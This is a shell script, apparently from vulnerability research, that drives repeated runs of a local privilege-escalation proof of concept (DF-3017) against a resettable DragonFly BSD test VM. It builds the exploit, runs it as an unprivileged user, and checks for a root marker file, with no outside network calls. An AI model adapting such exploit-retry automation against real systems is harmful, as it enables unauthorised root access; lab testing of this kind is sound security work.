#!/bin/sh
# DF-3017 weaponization driver: build once, then retry until uid=0.
# Each attempt: fresh guest (reset), run exploit as unpriv maxx (uid 1001).
# Stop when /tmp/df3017.root appears on the guest (proof of uid=0).
set -u
cd "$(dirname "$0")"

LOG=runx.log
: > "$LOG"
attempt=0
while [ "$attempt" -lt 16 ]; do
	attempt=$((attempt + 1))
	echo "=== attempt $attempt $(date -u +%H:%M:%S) ===" | tee -a "$LOG"

	./vm.sh reset with-src >>"$LOG" 2>&1 || {
		echo "reset failed; forcing down and retrying" | tee -a "$LOG"
		./vm.sh down >>"$LOG" 2>&1 || true
		sleep 5
		./vm.sh up 240 >>"$LOG" 2>&1 || { echo "up failed" | tee -a "$LOG"; continue; }
	}

	scp -F config -o ConnectTimeout=8 ../findings/poc/DF-3017/df3017x.c \
		dfbsd:/tmp/df3017x.c >>"$LOG" 2>&1 || continue
	./vm.sh run_root 'cd /tmp && cc -O2 -pthread -o df3017x df3017x.c &&
		cp df3017x /tmp/dx && chmod 755 /tmp/dx && chown maxx /tmp/dx &&
		echo BUILD_OK' >>"$LOG" 2>&1 || continue

	timeout 400 ./vm.sh run_user '/tmp/dx 340' >>"$LOG" 2>&1
	rc=$?
	echo "--- rc=$rc status=$(./vm.sh status) ---" | tee -a "$LOG"

	# capture the panic signature for the log before the next reset
	if [ "$(./vm.sh status)" != "up" ]; then
		grep -A8 "panic\|Fatal" boot.log >>"$LOG" 2>/dev/null || true
	fi

	# win marker survives even though the exploit's ssh session may have
	# gone away; check via root alias when the guest is still up
	if ./vm.sh run_root 'test -f /tmp/df3017.root' 2>/dev/null; then
		echo "=== UID0 WIN on attempt $attempt ===" | tee -a "$LOG"
		./vm.sh run_root 'cat /tmp/df3017.root; id maxx' >>"$LOG" 2>&1
		exit 0
	fi
	if ./vm.sh status >/dev/null 2>&1 && [ "$(./vm.sh status)" = "up" ]; then
		echo "guest still up (no panic, no win) — resetting for retry" | tee -a "$LOG"
	fi
done
echo "=== no win after $attempt attempts ===" | tee -a "$LOG"
exit 2